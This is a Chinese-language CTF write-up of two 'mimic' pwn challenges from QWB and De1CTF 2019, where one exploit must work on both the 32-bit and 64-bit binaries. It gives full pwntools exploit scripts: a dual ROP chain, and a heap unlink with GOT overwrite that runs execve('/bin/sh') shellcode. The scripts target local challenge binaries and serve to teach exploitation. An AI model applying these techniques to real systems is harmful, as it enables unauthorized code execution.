De1ctf mimic_note & qwb babymimic

Mimic

基拟态美..目前的拟态Pwn题(我只接触过两题)都是一个32一个64让你写一个exp两个binary都跑一下但是输出要相同,不同就挂掉 也就是要求写出32/64位通用的exp(而且输出要相同)。

Stack

attachment

Analysis

主要问题是让32位和64位走两个不同的ropchain 解决办法是利用了32位和64位返回地址在buf的不同位置。 32位采用了add esp ,0x100来避开64位的ropchain 比较简单exp如下

exp

from pwn import *
context.log_level='debug'
context.arch='amd64'
p=process('./__stkof')
syscall=0x0000000000461645
rax=0x000000000043b97c
rdi=0x00000000004005f6
rsi=0x0000000000405895
rdx=0x000000000043b9d5
add=0x0806b225
eax=0x080a8af6
dcb=0x0806e9f1
int0x80=0x806f2ff
gdb.attach(p,'')
pay='A'*0x110+p32(add)+p32(0)
pay+=(p64(rax)+p64(0x0)+p64(rsi)+p64(0x0069e200)+p64(rdi)+p64(0)+p64(rdx)+p64(0x200)+p64(syscall)+p64(rax)+p64(0x3b)+p64(rdi)+p64(0x0069e200)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(syscall)).ljust(0x100-4,'\x00')
pay+=p32(dcb)+p32(0x200)+p32(0x080d7200)+p32(0)+p32(eax)+p32(3)+p32(int0x80)+p32(dcb)+p32(0)+p32(0)+p32(0x080d7200)+p32(eax)+p32(0xb)+p32(int0x80)
p.sendafter("?\n",pay.ljust(0x300))

p.send("/bin/sh")
p.interactive('n132>')

Heap

[D1eCTF2019:Mimic_note][https://github.com/De1ta-team/De1CTF2019/tree/master/writeup/pwn/Mimic_note] attachment 当时在参加夏令营听课没有本以为那个mmap的段是不能执行的就想到泄漏地址一定会死就感觉有点难就没有继续做… 现在复现一下

Analysis

[*] '/home/n132/Desktop/attachment/attachment/mimic_note_64'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

没有开全RELRO没开PIE

存在明显的off-by-one于edit功能中 但做一个架构下的直接UNLINK就可以造成任意地址写. 还有泄漏啥的…

主要是因为要做两个架构的所以泄漏地址什么的应该是没戏了,但是还有个可读可写可执行的段并且已知地址那么就不需要泄漏地址了.

那么如何做UNLINK呢 首先 x64和x86下通用的结构是不可取的因为x64下填满一个chunk造成off-by-null要求malloc的参数为:0x8+0x10* x 但是x86下为 0x4+0x8* x 所以不会有一个chunk-size同时满足两个…就算有那unlink之后的事情也比较棘手.

然后我就惊喜地发现x64做unlink的时候x86的binary并不会造成影响. x86做unlink的时候x64的binary不会受到影响. 于是乎就有了思路

  • x64 x86 分别做UNLINK
  • 分别控制free的got
  • call shellcode.

其中因为是没有输出序号或者地址什么的..所以两个程序只要不崩溃不去call show函数输出就是一样的到最后两边都修改好了free got就可以获得shell.

exp

from pwn import * 
#context.arch='amd64'
#context.terminal=['tmux','splitw','-h']
context.log_level='debug'
def cmd(c):
    p.sendlineafter(">> ",str(c))
def add(size):
    cmd(1)
    p.sendlineafter("?\n",str(size))
def free(idx):
    cmd(2)
    p.sendlineafter("?\n",str(idx))
def show(idx):
    cmd(3)
    p.sendlineafter("?\n",str(idx))
def edit(idx,c):
    cmd(4)
    p.sendlineafter("?\n",str(idx))
    p.sendafter("?\n",c)
#p=process("./mimic_note_64")
p=process("./mimic")
add(0x18)
add(0x18)
add(0x88)
add(0xf8)
add(0x18)
edit(2,p64(0)+p64(0x81)+p64(0x123020-0x18)+p64(0x123020-0x10)+'\x00'*0x60+p64(0x80))
free(3)
edit(2,p64(0xff)+p64(0x0000000000123100)+p64(0xff)+p64(0x000000000602018)+'/bin/sh\x00')

context.arch='amd64'

sh='''
xor rax,rax
mov al,0x3b
mov rdi,0x123028
xor rsi,rsi
xor rdx,rdx
syscall
'''
sh=asm(sh)
edit(1,sh)

add(0xf8)
add(0x84)
add(0xf8)
add(0x18)
edit(5,p32(0)+p32(0x81)+p32(0x123028-0xc)+p32(0x123028-0x8)+'\x00'*0x70+p32(0x80))
gdb.attach(p,'b *0x000000000400927')
free(6)
sh='''
xor eax,eax
mov al,0xb
mov ebx,0x123040
xor ecx,ecx
int 0x80
'''
context.arch='i386'
edit(5,'\x00'*0xc+p32(0x804a014)+p32(0XFF)+p32(0)*2+p32(0x123200)+p32(0xff)+'/bin/sh\x00')
edit(5,p32(0x123200))
edit(7,asm(sh))
#x64
edit(2,p64(0x123100)[:-1])
free(0)
p.interactive()

summary

mimic在需要泄漏的情况下还是比较难的,不泄漏可以利用dl_resolve或者x64x86的不一致来让不同的binary走不同的路.